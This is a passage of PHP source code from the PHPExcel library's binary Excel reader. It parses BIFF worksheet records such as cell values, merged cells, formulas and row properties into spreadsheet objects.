//ANSI Hebrew\n\t\t\t\t\t\t\t$this->_codepage =\"CP1255\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 1256: //ANSI Arabic\n\t\t\t\t\t\t\t$this->_codepage =\"CP1256\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 1257: //ANSI Baltic\n\t\t\t\t\t\t\t$this->_codepage =\"CP1257\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 1258: //ANSI Vietnamese\n\t\t\t\t\t\t\t$this->_codepage =\"CP1258\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 1361: //ANSI Korean (Johab)\n\t\t\t\t\t\t\t$this->_codepage =\"CP1361\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 10000: //Apple Roman\n\t\t\t\t\t\t\t// currently not supported by libiconv\n\t\t\t\t\t\t\t$this->_codepage = \"\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 32768: //Apple Roman\n\t\t\t\t\t\t\t// currently not supported by libiconv\n\t\t\t\t\t\t\t$this->_codepage = \"\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 32769: //ANSI Latin I (BIFF2-BIFF3)\n\t\t\t\t\t\t\t// currently not supported by libiconv\n\t\t\t\t\t\t\t$this->_codepage = \"\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\t\t\n\t\t\t}\n\t\t\t$pos += $length + 4;\n\t\t\t$code = ord($this->_data[$pos]) | ord($this->_data[$pos + 1]) << 8;\n\t\t\t$length = ord($this->_data[$pos + 2]) | ord($this->_data[$pos + 3]) << 8;\n\t\t\t$recordData = substr($this->_data, $pos + 4, $length);\n\t\t}\n\t\t/**\n\t\t *\n\t\t * PARSE THE INDIVIDUAL SHEETS\n\t\t *\n\t\t **/\n\t\tforeach ($this->_boundsheets as $key => $val){\n\t\t\t// add sheet to PHPExcel object\n\t\t\t$sheet = $excel->createSheet();\n\t\t\t$sheet->setTitle((string) $val['name']);\n\t\t\t\n\t\t\t$this->_sn = $key;\n\t\t\t$spos = $val['offset'];\n\t\t\t$cont = true;\n\t\t\t// read BOF\n\t\t\t$code = ord($this->_data[$spos]) | ord($this->_data[$spos + 1]) << 8;\n\t\t\t$length = ord($this->_data[$spos + 2]) | ord($this->_data[$spos + 3]) << 8;\n\t\t\t$version = ord($this->_data[$spos + 4]) | ord($this->_data[$spos + 5]) << 8;\n\t\t\t$substreamType = ord($this->_data[$spos + 6]) | ord($this->_data[$spos + 7]) << 8;\n\n\t\t\tif (($version != self::XLS_BIFF8) && ($version != self::XLS_BIFF7)) {\n\t\t\t\treturn -1;\n\t\t\t}\n\t\t\tif ($substreamType != self::XLS_Worksheet) {\n\t\t\t\treturn -2;\n\t\t\t}\n\n\t\t\t$spos += $length + 4;\n\t\t\twhile($cont) {\n\t\t\t\t$lowcode = ord($this->_data[$spos]);\n\t\t\t\tif ($lowcode == self::XLS_Type_EOF) {\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\t$code = $lowcode | ord($this->_data[$spos + 1]) << 8;\n\t\t\t\t$length = ord($this->_data[$spos + 2]) | ord($this->_data[$spos + 3]) << 8;\n\t\t\t\t$recordData = substr($this->_data, $spos + 4, $length);\n\t\t\t\t\n\t\t\t\t$spos += 4;\n\t\t\t\t$this->_sheets[$this->_sn]['maxrow'] = $this->_rowoffset - 1;\n\t\t\t\t$this->_sheets[$this->_sn]['maxcol'] = $this->_coloffset - 1;\n\t\t\t\tunset($this->_rectype);\n\t\t\t\tunset($this->_formula);\n\t\t\t\tunset($this->_formula_result);\n\t\t\t\t$this->_multiplier = 1; // need for format with %\n\n\t\t\t\tswitch ($code) {\n\t\t\t\t\tcase self::XLS_Type_DIMENSION:\n\t\t\t\t\t\t/**\n\t\t\t\t\t\t * DIMENSION\n\t\t\t\t\t\t *\n\t\t\t\t\t\t * This record contains the range address of the used area\n\t\t\t\t\t\t * in the current sheet.\n\t\t\t\t\t\t *\n\t\t\t\t\t\t * --\t\"OpenOffice.org's Documentation of the Microsoft\n\t\t\t\t\t\t * \t\tExcel File Format\"\n\t\t\t\t\t\t */\n\t\t\t\t\t\tif (!isset($this->_numRows)) {\n\t\t\t\t\t\t\tif (($length == 10) ||\t($version == self::XLS_BIFF7)){\n\t\t\t\t\t\t\t\t$this->_sheets[$this->_sn]['numRows'] = ord($this->_data[$spos + 2]) | ord($this->_data[$spos + 3]) << 8;\n\t\t\t\t\t\t\t\t$this->_sheets[$this->_sn]['numCols'] = ord($this->_data[$spos + 6]) | ord($this->_data[$spos + 7]) << 8;\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t$this->_sheets[$this->_sn]['numRows'] = ord($this->_data[$spos + 4]) | ord($this->_data[$spos + 5]) << 8;\n\t\t\t\t\t\t\t\t$this->_sheets[$this->_sn]['numCols'] = ord($this->_data[$spos + 10]) | ord($this->_data[$spos + 11]) << 8;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\n\t\t\t\t\tcase self::XLS_Type_MERGEDCELLS:\n\t\t\t\t\t\t/**\n\t\t\t\t\t\t * MERGEDCELLS\n\t\t\t\t\t\t *\n\t\t\t\t\t\t * This record contains the addresses of merged cell ranges\n\t\t\t\t\t\t * in the current sheet.\n\t\t\t\t\t\t *\n\t\t\t\t\t\t * --\t\"OpenOffice.org's Documentation of the Microsoft\n\t\t\t\t\t\t * \t\tExcel File Format\"\n\t\t\t\t\t\t */\n\t\t\t\t\t\tif ($version == self::XLS_BIFF8 && !$this->_readDataOnly) {\n\t\t\t\t\t\t\t$cellRanges = $this->_GetInt2d($this->_data, $spos);\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tfor ($i = 0; $i < $cellRanges; $i++) {\n\t\t\t\t\t\t\t\t$fr = $this->_GetInt2d($this->_data, $spos + 8 * $i + 2); // first row\n\t\t\t\t\t\t\t\t$lr = $this->_GetInt2d($this->_data, $spos + 8 * $i + 4); // last row\n\t\t\t\t\t\t\t\t$fc = $this->_GetInt2d($this->_data, $spos + 8 * $i + 6); // first column\n\t\t\t\t\t\t\t\t$lc = $this->_GetInt2d($this->_data, $spos + 8 * $i + 8); // last column\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t// this part no longer needed, instead apply cell merge on PHPExcel worksheet object\n\t\t\t\t\t\t\t\t/*\n\t\t\t\t\t\t\t\tif ($lr - $fr > 0) {\n\t\t\t\t\t\t\t\t\t$this->_sheets[$this->_sn]['cellsInfo'][$fr + 1][$fc + 1]['rowspan'] = $lr - $fr + 1;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tif ($lc - $fc > 0) {\n\t\t\t\t\t\t\t\t\t$this->_sheets[$this->_sn]['cellsInfo'][$fr + 1][$fc + 1]['colspan'] = $lc - $fc + 1;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t*/\n\t\t\t\t\t\t\t\t$sheet->mergeCellsByColumnAndRow($fc, $fr + 1, $lc, $lr + 1);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\n\t\t\t\t\tcase self::XLS_Type_RK:\n\t\t\t\t\tcase self::XLS_Type_RK2:\n\t\t\t\t\t\t/**\n\t\t\t\t\t\t * RK\n\t\t\t\t\t\t *\n\t\t\t\t\t\t * This record represents a cell that contains an RK value\n\t\t\t\t\t\t * (encoded integer or floating-point value). If a\n\t\t\t\t\t\t * floating-point value cannot be encoded to an RK value,\n\t\t\t\t\t\t * a NUMBER record will be written. This record replaces the\n\t\t\t\t\t\t * record INTEGER written in BIFF2.\n\t\t\t\t\t\t *\n\t\t\t\t\t\t * --\t\"OpenOffice.org's Documentation of the Microsoft\n\t\t\t\t\t\t * \t\tExcel File Format\"\n\t\t\t\t\t\t */\n\t\t\t\t\t\t$row = ord($this->_data[$spos]) | ord($this->_data[$spos + 1]) << 8;\n\t\t\t\t\t\t$column = ord($this->_data[$spos + 2]) | ord($this->_data[$spos + 3]) << 8;\n\t\t\t\t\t\t$rknum = $this->_GetInt4d($this->_data, $spos + 6);\n\t\t\t\t\t\t$numValue = $this->_GetIEEE754($rknum);\n\n\t\t\t\t\t\t/*\n\t\t\t\t\t\tif ($this->_isDate($spos)) {\n\t\t\t\t\t\t\tlist($string, $raw) = $this->_createDate($numValue);\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t$raw = $numValue;\n\t\t\t\t\t\t\tif (isset($this->_columnsFormat[$column + 1])){\n\t\t\t\t\t\t\t\t$this->_curformat = $this->_columnsFormat[$column + 1];\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t$string = sprintf($this->_curformat,$numValue*$this->_multiplier);\n\t\t\t\t\t\t}\n\t\t\t\t\t\t*/\n\t\t\t\t\t\t\n\t\t\t\t\t\t// offset 4; size: 2; index to XF record\n\t\t\t\t\t\t$xfindex = $this->_getInt2d($recordData, 4);\n\t\t\t\t\t\t// add BIFF8 style information\n\t\t\t\t\t\tif ($version == self::XLS_BIFF8 && !$this->_readDataOnly) {\n\t\t\t\t\t\t\t$sheet->getStyleByColumnAndRow($column, $row + 1)->applyFromArray($this->_xf[$xfindex]);\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tif (PHPExcel_Shared_Date::isDateTimeFormatCode($this->_xf[$xfindex]['numberformat']['code'])) {\n\t\t\t\t\t\t\t\t$numValue = (int) PHPExcel_Shared_Date::ExcelToPHP($numValue);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\t//$this->_addcell($row, $column, $string, $raw);\n\t\t\t\t\t\t//$sheet->setCellValueByColumnAndRow($column, $row + 1, $string);\n\t\t\t\t\t\t\n\t\t\t\t\t\t$sheet->setCellValueByColumnAndRow($column, $row + 1, $numValue);\n\t\t\t\t\t\t\n\t\t\t\t\t\tbreak;\n\n\t\t\t\t\tcase self::XLS_Type_LABELSST:\n\t\t\t\t\t\t/**\n\t\t\t\t\t\t * LABELSST\n\t\t\t\t\t\t *\n\t\t\t\t\t\t * This record represents a cell that contains a string. It\n\t\t\t\t\t\t * replaces the LABEL record and RSTRING record used in\n\t\t\t\t\t\t * BIFF2-BIFF5.\n\t\t\t\t\t\t *\n\t\t\t\t\t\t * --\t\"OpenOffice.org's Documentation of the Microsoft\n\t\t\t\t\t\t * \t\tExcel File Format\"\n\t\t\t\t\t\t */\n\t\t\t\t\t\t$row = ord($this->_data[$spos]) | ord($this->_data[$spos + 1]) << 8;\n\t\t\t\t\t\t$column = ord($this->_data[$spos + 2]) | ord($this->_data[$spos + 3]) << 8;\n\t\t\t\t\t\t$xfindex = ord($this->_data[$spos + 4]) | ord($this->_data[$spos + 5]) << 8;\n\t\t\t\t\t\t$index = $this->_GetInt4d($this->_data, $spos + 6);\n\t\t\t\t\t\t//$this->_addcell($row, $column, $this->_sst[$index]);\n\t\t\t\t\t\t\n\t\t\t\t\t\tif ($fmtRuns = $this->_sst[$index]['fmtRuns']) {\n\t\t\t\t\t\t\t// then we have rich text\n\t\t\t\t\t\t\t$richText = new PHPExcel_RichText($sheet->getCellByColumnAndRow($column, $row + 1));\n\t\t\t\t\t\t\t$charPos = 0;\n\t\t\t\t\t\t\tfor ($i = 0; $i <= count($this->_sst[$index]['fmtRuns']); $i++) {\n\t\t\t\t\t\t\t\tif (isset($fmtRuns[$i])) {\n\t\t\t\t\t\t\t\t\t$text = mb_substr($this->_sst[$index]['value'], $charPos, $fmtRuns[$i]['charPos'] - $charPos, 'UTF-8');\n\t\t\t\t\t\t\t\t\t$charPos = $fmtRuns[$i]['charPos'];\n\t\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\t$text = mb_substr($this->_sst[$index]['value'], $charPos, mb_strlen($this->_sst[$index]['value']), 'UTF-8');\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tif (mb_strlen($text) > 0) {\n\t\t\t\t\t\t\t\t\t$textRun = $richText->createTextRun($text);\n\t\t\t\t\t\t\t\t\tif (isset($fmtRuns[$i - 1])) {\n\t\t\t\t\t\t\t\t\t\tif ($fmtRuns[$i - 1]['fontIndex'] < 4) {\n\t\t\t\t\t\t\t\t\t\t\t$fontIndex = $fmtRuns[$i - 1]['fontIndex'];\n\t\t\t\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\t\t\t// this has to do with that index 4 is omitted in all BIFF versions for some strange reason\n\t\t\t\t\t\t\t\t\t\t\t// check the OpenOffice documentation of the FONT record\n\t\t\t\t\t\t\t\t\t\t\t$fontIndex = $fmtRuns[$i - 1]['fontIndex'] - 1;\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t$textRun->getFont()->applyFromArray($this->_font[$fontIndex]);\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t$sheet->setCellValueByColumnAndRow($column, $row + 1, $this->_sst[$index]['value']);\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\t// add BIFF8 style information\n\t\t\t\t\t\tif ($version == self::XLS_BIFF8 && !$this->_readDataOnly) {\n\t\t\t\t\t\t\t$sheet->getStyleByColumnAndRow($column, $row + 1)->applyFromArray($this->_xf[$xfindex]);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\n\t\t\t\t\tcase self::XLS_Type_MULRK:\n\t\t\t\t\t\t/**\n\t\t\t\t\t\t * MULRK - Multiple RK\n\t\t\t\t\t\t *\n\t\t\t\t\t\t * This record represents a cell range containing RK value\n\t\t\t\t\t\t * cells. All cells are located in the same row.\n\t\t\t\t\t\t *\n\t\t\t\t\t\t * --\t\"OpenOffice.org's Documentation of the Microsoft\n\t\t\t\t\t\t * \t\tExcel File Format\"\n\t\t\t\t\t\t */\n\t\t\t\t\t\t$row = ord($this->_data[$spos]) | ord($this->_data[$spos + 1]) << 8;\n\t\t\t\t\t\t$colFirst = ord($this->_data[$spos + 2]) | ord($this->_data[$spos + 3]) << 8;\n\t\t\t\t\t\t$colLast = ord($this->_data[$spos + $length - 2]) | ord($this->_data[$spos + $length - 1]) << 8;\n\t\t\t\t\t\t$columns = $colLast - $colFirst + 1;\n\t\t\t\t\t\t$tmppos = $spos + 4;\n\n\t\t\t\t\t\tfor ($i = 0; $i < $columns; $i++) {\n\t\t\t\t\t\t\t// offset: 0; size: 2; index to XF record\n\t\t\t\t\t\t\t$xfindex = $this->_getInt2d($recordData, 4 + 6 * $i);\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t// offset: 2; size: 4; RK value\n\t\t\t\t\t\t\t$numValue = $this->_GetIEEE754($this->_GetInt4d($this->_data, $tmppos + 2));\n\t\t\t\t\t\t\t/*\n\t\t\t\t\t\t\tif ($this->_isDate($tmppos-4)) {\n\t\t\t\t\t\t\t\tlist($string, $raw) = $this->_createDate($numValue);\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t$raw = $numValue;\n\t\t\t\t\t\t\t\tif (isset($this->_columnsFormat[$colFirst + $i + 1])){\n\t\t\t\t\t\t\t\t\t$this->_curformat = $this->_columnsFormat[$colFirst+ $i + 1];\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t$string = sprintf($this->_curformat, $numValue *\n\t\t\t\t\t\t\t\t\t$this->_multiplier);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t*/\n\t\t\t\t\t\t\t//$this->_addcell($row, $colFirst + $i, $string, $raw);\n\t\t\t\t\t\t\tif ($version == self::XLS_BIFF8 && !$this->_readDataOnly) {\n\t\t\t\t\t\t\t\t$sheet->getStyleByColumnAndRow($colFirst + $i, $row + 1)->applyFromArray($this->_xf[$xfindex]);\n\t\t\t\t\t\t\t\tif (PHPExcel_Shared_Date::isDateTimeFormatCode($this->_xf[$xfindex]['numberformat']['code'])) {\n\t\t\t\t\t\t\t\t\t$numValue = (int) PHPExcel_Shared_Date::ExcelToPHP($numValue);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t//$sheet->setCellValueByColumnAndRow($colFirst + $i, $row + 1, $string);\n\t\t\t\t\t\t\t$sheet->setCellValueByColumnAndRow($colFirst + $i, $row + 1, $numValue);\n\t\t\t\t\t\t\t$tmppos += 6;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\n\t\t\t\t\tcase self::XLS_Type_NUMBER:\n\t\t\t\t\t\t/**\n\t\t\t\t\t\t * NUMBER\n\t\t\t\t\t\t *\n\t\t\t\t\t\t * This record represents a cell that contains a\n\t\t\t\t\t\t * floating-point value.\n\t\t\t\t\t\t *\n\t\t\t\t\t\t * --\t\"OpenOffice.org's Documentation of the Microsoft\n\t\t\t\t\t\t * \t\tExcel File Format\"\n\t\t\t\t\t\t */\n\t\t\t\t\t\t$row = ord($this->_data[$spos]) | ord($this->_data[$spos + 1]) << 8;\n\t\t\t\t\t\t$column = ord($this->_data[$spos + 2]) | ord($this->_data[$spos + 3]) << 8;\n\t\t\t\t\t\t// offset 4; size: 2; index to XF record\n\t\t\t\t\t\t$xfindex = $this->_GetInt2d($recordData, 4);\n\n\t\t\t\t\t\t$numValue = $this->_createNumber($spos);\n\t\t\t\t\t\t/*\n\t\t\t\t\t\tif ($this->_isDate($spos)) {\n\t\t\t\t\t\t\t$numValue = $this->_createNumber($spos);\n\t\t\t\t\t\t\tlist($string, $raw) = $this->_createDate($numValue);\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tif (isset($this->_columnsFormat[$column + 1])) {\n\t\t\t\t\t\t\t\t$this->_curformat = $this->_columnsFormat[$column + 1];\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t$raw = $this->_createNumber($spos);\n\t\t\t\t\t\t\t$string = sprintf($this->_curformat, $raw * $this->_multiplier);\n\t\t\t\t\t\t}\n\t\t\t\t\t\t*/\n\t\t\t\t\t\t// add BIFF8 style information\n\t\t\t\t\t\tif ($version == self::XLS_BIFF8 && !$this->_readDataOnly) {\n\t\t\t\t\t\t\t$sheet->getStyleByColumnAndRow($column, $row + 1)->applyFromArray($this->_xf[$xfindex]);\n\t\t\t\t\t\t\tif (PHPExcel_Shared_Date::isDateTimeFormatCode($this->_xf[$xfindex]['numberformat']['code'])) {\n\t\t\t\t\t\t\t\t$numValue = (int) PHPExcel_Shared_Date::ExcelToPHP($numValue);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\t//$this->_addcell($row, $column, $string, $raw);\n\t\t\t\t\t\t//$sheet->setCellValueByColumnAndRow($column, $row + 1, $string);\n\t\t\t\t\t\t$sheet->setCellValueByColumnAndRow($column, $row + 1, $numValue);\n\t\t\t\t\t\t\n\t\t\t\t\t\tbreak;\n\n\t\t\t\t\tcase self::XLS_Type_FORMULA:\n\t\t\t\t\tcase self::XLS_Type_FORMULA2:\n\t\t\t\t\t\t/**\n\t\t\t\t\t\t * FORMULA\n\t\t\t\t\t\t *\n\t\t\t\t\t\t * This record contains the token array and the result of a\n\t\t\t\t\t\t * formula cell.\n\t\t\t\t\t\t *\n\t\t\t\t\t\t * --\t\"OpenOffice.org's Documentation of the Microsoft\n\t\t\t\t\t\t * \t\tExcel File Format\"\n\t\t\t\t\t\t */\n\t\t\t\t\t\t// offset: 0; size: 2; row index\n\t\t\t\t\t\t$row = ord($this->_data[$spos]) | ord($this->_data[$spos + 1]) << 8;\n\t\t\t\t\t\t// offset: 2; size: 2; col index\n\t\t\t\t\t\t$column = ord($this->_data[$spos + 2]) | ord($this->_data[$spos + 3]) << 8;\n\t\t\t\t\t\t// offset: 4; size: 2; XF index\n\t\t\t\t\t\t$xfindex = ord($this->_data[$spos + 4]) | ord($this->_data[$spos + 5]) << 8;\n\n\t\t\t\t\t\t// offset: 6; size: 8; result of the formula\n\t\t\t\t\t\tif ((ord($this->_data[$spos + 6]) == 0) &&\n\t\t\t\t\t\t(ord($this->_data[$spos + 12]) == 255) &&\n\t\t\t\t\t\t(ord($this->_data[$spos + 13]) == 255)) {\n\t\t\t\t\t\t\t//String formula. Result follows in appended STRING record\n\t\t\t\t\t\t\t$this->_formula_result = 'string';\n\t\t\t\t\t\t\t$soff = $spos + $length;\n\t\t\t\t\t\t\t$scode = ord($this->_data[$soff]) | ord($this->_data[$soff + 1])<<8;\n\t\t\t\t\t\t\t$sopt = ord($this->_data[$soff + 6]);\n\t\t\t\t\t\t\t// only reads byte strings...\n\t\t\t\t\t\t\tif ($scode == self::XLS_Type_STRING && $sopt == '0') {\n\t\t\t\t\t\t\t\t$slen = ord($this->_data[$soff + 4]) | ord($this->_data[$soff + 5]) << 8;\n\t\t\t\t\t\t\t\t$string = substr($this->_data, $soff + 7, ord($this->_data[$soff + 4]) | ord($this->_data[$soff + 5]) << 8);\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t$string = 'NOT FOUND';\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t$raw = $string;\n\n\t\t\t\t\t\t} elseif ((ord($this->_data[$spos + 6]) == 1) &&\n\t\t\t\t\t\t(ord($this->_data[$spos + 12]) == 255) &&\n\t\t\t\t\t\t(ord($this->_data[$spos + 13]) == 255)) {\n\t\t\t\t\t\t\t//Boolean formula. Result is in +2; 0=false,1=true\n\t\t\t\t\t\t\t$this->_formula_result = 'boolean';\n\t\t\t\t\t\t\t$raw = ord($this->_data[$spos + 8]);\n\t\t\t\t\t\t\tif ($raw) {\n\t\t\t\t\t\t\t\t$string = \"TRUE\";\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t$string = \"FALSE\";\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t} elseif ((ord($this->_data[$spos + 6]) == 2) &&\n\t\t\t\t\t\t(ord($this->_data[$spos + 12]) == 255) &&\n\t\t\t\t\t\t(ord($this->_data[$spos + 13]) == 255)) {\n\t\t\t\t\t\t\t//Error formula. Error code is in +2\n\t\t\t\t\t\t\t$this->_formula_result = 'error';\n\t\t\t\t\t\t\t$raw = ord($this->_data[$spos + 8]);\n\t\t\t\t\t\t\t$string = 'ERROR:'.$raw;\n\n\t\t\t\t\t\t} elseif ((ord($this->_data[$spos + 6]) == 3) &&\n\t\t\t\t\t\t(ord($this->_data[$spos + 12]) == 255) &&\n\t\t\t\t\t\t(ord($this->_data[$spos + 13]) == 255)) {\n\t\t\t\t\t\t\t//Formula result is a null string\n\t\t\t\t\t\t\t$this->_formula_result = 'null';\n\t\t\t\t\t\t\t$raw = '';\n\t\t\t\t\t\t\t$string = '';\n\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t// forumla result is a number, first 14 bytes like _NUMBER record\n\t\t\t\t\t\t\t$string = $this->_createNumber($spos);\n\t\t\t\t\t\t\t/*\n\t\t\t\t\t\t\t$this->_formula_result = 'number';\n\t\t\t\t\t\t\tif ($this->_isDate($spos)) {\n\t\t\t\t\t\t\t\t$numValue = $this->_createNumber($spos);\n\t\t\t\t\t\t\t\tlist($string, $raw) = $this->_createDate($numValue);\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tif (isset($this->_columnsFormat[$column + 1])){\n\t\t\t\t\t\t\t\t\t$this->_curformat = $this->_columnsFormat[$column + 1];\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t$raw = $this->_createNumber($spos);\n\t\t\t\t\t\t\t\t$string = sprintf($this->_curformat, $raw * $this->_multiplier);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t*/\n\t\t\t\t\t\t}\n\t\t\t\t\t\t// save the raw formula tokens for end user interpretation\n\t\t\t\t\t\t// Excel stores as a token record\n\t\t\t\t\t\t$this->_rectype = 'formula';\n\t\t\t\t\t\t// read formula record tokens ...\n\t\t\t\t\t\t$tokenlength = ord($this->_data[$spos + 20]) | ord($this->_data[$spos + 21]) << 8;\n\t\t\t\t\t\tfor ($i = 0; $i < $tokenlength; $i++) {\n\t\t\t\t\t\t\t$this->_formula[$i] = ord($this->_data[$spos + 22 + $i]);\n\t\t\t\t\t\t}\n\t\t\t\t\t\t// add BIFF8 style information\n\t\t\t\t\t\tif ($version == self::XLS_BIFF8 && !$this->_readDataOnly) {\n\t\t\t\t\t\t\t$sheet->getStyleByColumnAndRow($column, $row + 1)->applyFromArray($this->_xf[$xfindex]);\n\t\t\t\t\t\t\tif (PHPExcel_Shared_Date::isDateTimeFormatCode($this->_xf[$xfindex]['numberformat']['code'])) {\n\t\t\t\t\t\t\t\t$string = (int) PHPExcel_Shared_Date::ExcelToPHP($string);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\t//$this->_addcell($row, $column, $string, $raw);\n\t\t\t\t\t\t$sheet->setCellValueByColumnAndRow($column, $row + 1, $string);\n\t\t\t\t\t\t\n\t\t\t\t\t\t// offset: 14: size: 2; option flags, recalculate always, recalculate on open etc.\n\t\t\t\t\t\t// offset: 16: size: 4; not used\n\t\t\t\t\t\t// offset: 20: size: variable; formula structure\n\t\t\t\t\t\t// WORK IN PROGRESS: TRUE FORMULA SUPPORT\n\t\t\t\t\t\t// resolve BIFF8 formula tokens into human readable formula\n\t\t\t\t\t\t// so it can be added as formula\n\t\t\t\t\t\t// $formulaStructure = substr($recordData, 20);\n\t\t\t\t\t\t// $formulaString = $this->_getFormulaStringFromStructure($formulaStructure); // get human language\n\t\t\t\t\t\tbreak;\n\n\t\t\t\t\tcase self::XLS_Type_BOOLERR:\n\t\t\t\t\t\t/**\n\t\t\t\t\t\t * BOOLERR\n\t\t\t\t\t\t *\n\t\t\t\t\t\t * This record represents a Boolean value or error value\n\t\t\t\t\t\t * cell.\n\t\t\t\t\t\t *\n\t\t\t\t\t\t * --\t\"OpenOffice.org's Documentation of the Microsoft\n\t\t\t\t\t\t * \t\tExcel File Format\"\n\t\t\t\t\t\t */\n\t\t\t\t\t\t// offset: 0; size: 2; row index\n\t\t\t\t\t\t$row = ord($this->_data[$spos]) | ord($this->_data[$spos + 1]) << 8;\n\t\t\t\t\t\t// offset: 2; size: 2; column index\n\t\t\t\t\t\t$column = ord($this->_data[$spos + 2]) | ord($this->_data[$spos + 3]) << 8;\n\t\t\t\t\t\t// offset: 4; size: 2; index to XF record\n\t\t\t\t\t\t$xfindex = $this->_GetInt2d($recordData, 4);\n\t\t\t\t\t\t// offset: 6; size: 1; the boolean value or error value\n\t\t\t\t\t\t$value = ord($recordData[6]);\n\t\t\t\t\t\t// offset: 7; size: 1; 0=boolean; 1=error\n\t\t\t\t\t\t$isError = ord($recordData[7]);\n\t\t\t\t\t\tif (!$isError) {\n\t\t\t\t\t\t\t$sheet->getCellByColumnAndRow($column, $row + 1)->setValueExplicit((bool) $value, PHPExcel_Cell_DataType::TYPE_BOOL);\n\t\t\t\t\t\t}\n\t\t\t\t\t\t// add BIFF8 style information\n\t\t\t\t\t\tif ($version == self::XLS_BIFF8 && !$this->_readDataOnly) {\n\t\t\t\t\t\t\t$sheet->getStyleByColumnAndRow($column, $row + 1)->applyFromArray($this->_xf[$xfindex]);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\n\t\t\t\t\tcase self::XLS_Type_ROW:\n\t\t\t\t\t\t/**\n\t\t\t\t\t\t * ROW\n\t\t\t\t\t\t *\n\t\t\t\t\t\t * This record contains the properties of a single row in a\n\t\t\t\t\t\t * sheet. Rows and cells in a sheet are divided into blocks\n\t\t\t\t\t\t * of 32 rows.\n\t\t\t\t\t\t *\n\t\t\t\t\t\t * --\t\"OpenOffice.org's Documentation of the Microsoft\n\t\t\t\t\t\t * \t\tExcel File Format\"\n\t\t\t\t\t\t */\n\t\t\t\t\t\tif (!$this->_readDataOnly) {\n\t\t\t\t\t\t\t// offset: 0; size: 2; index of this row\n\t\t\t\t\t\t\t$r = $this->_GetInt2d($recordData, 0);\n\t\t\t\t\t\t\t// offset: 2; size: 2; index to column of the first cell which is described by a cell record\n\t\t\t\t\t\t\t// offset: 4; size: 2; index to column of the last cell which is described by a cell record, increased by 1\n\t\t\t\t\t\t\t// offset: 6; size: 2;\n\t\t\t\t\t\t\t\t// bit: 14-0; mask: 0x7FF; height of the row, in twips = 1/20 of a point\n\t\t\t\t\t\t\t\t$height = (0x7FF & $this->_GetInt2d($recordData, 6)) >> 0;\n\t\t\t\t\t\t\t\t// bit: 15: mask: 0x8000; 0 = row has custom height; 1= row has default height\n\t\t\t\t\t\t\t\t$useDefaultHeight = (0x8000 & $this->_GetInt2d($recordData, 6)) >> 15;\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tif (!$useDefaultHeight) {\n\t\t\t\t\t\t\t\t\t$sheet->getRowDimension($r + 1)->setRowHeight($height / 20);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t// offset: 8; size: 2; not used\n\t\t\t\t\t\t\t// offset: 10; size: 2; not used in BIFF5-BIFF8\n\t\t\t\t\t\t\t// offset: 12; size: 4; option flags and default row formatting\n\t\t\t\t\t\t\t\t// bit: 2-0: mask: 0x00000007; outline level of the row\n\t\t\t\t\t\t\t\t$level = (0x00000007 & $this->_GetInt4d($recordData, 12)) >> 0;\n\t\t\t\t\t\t\t\t$sheet->getRowDimension($r + 1)->setOutlineLevel($level);\n\t\t\t\t\t\t\t\t// bit: 4; mask: 0x00000010; 1 = outline group start or ends here... and is 